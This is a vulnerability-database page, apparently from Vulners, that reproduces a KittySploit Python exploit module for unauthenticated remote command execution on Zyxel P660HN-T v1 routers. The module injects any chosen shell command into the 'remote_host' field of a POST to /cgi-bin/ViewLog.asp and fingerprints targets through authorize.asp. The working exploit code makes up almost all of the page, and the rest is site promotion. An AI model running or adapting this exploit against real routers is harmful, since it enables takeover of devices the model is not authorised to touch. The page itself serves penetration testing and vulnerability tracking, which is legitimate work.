Lucene search
+L

Zyxel P660HN-T v1 RCE

🗓️ 19 Aug 2026 05:37:22Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Unauthenticated RCE in Zyxel P660HN-T v1 allows command execution on operating system level.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Zyxel P660HN-T v1 RCE"""


from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Zyxel P660HN-T v1 RCE',
        'description': 'Module exploits Remote Command Execution vulnerability in Zyxel P660HN-T v1 devices. If the target is vulnerable it allows to execute commands on operating system level.',
        'author': ['Pedro Ribeiro', 'Marcin Bury'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['http://seclists.org/fulldisclosure/2017/Jan/40', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/zyxel_trueonline.txt', 'https://blogs.securiteam.com/index.php/archives/2910'],
        'tags': ['iot', 'router', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address: 192.168.1.1")
    port = OptPort(80, "Target port")

    def execute(self, cmd):
        payload = ";{};#".format(cmd)
        data = {
            "remote_submit_Flag": "1",
            "remote_syslog_Flag": "1",
            "RemoteSyslogSupported": "1",
            "LogFlag": "0",
            "remote_host": payload,
            "remoteSubmit": "Save"
        }

        self.http_request(
            method="POST",
            path="/cgi-bin/ViewLog.asp",
            data=data
        )

        return ""
    def check(self):
        response = self.http_request(
            method="GET",
            path="/cgi-bin/authorize.asp",
        )
        if response is None:
            return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}

        if "ZyXEL P-660HN-T1A" in response.text:
            return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Aug 2026 05:37Current
6.3Medium risk
Vulners AI Score6.3
0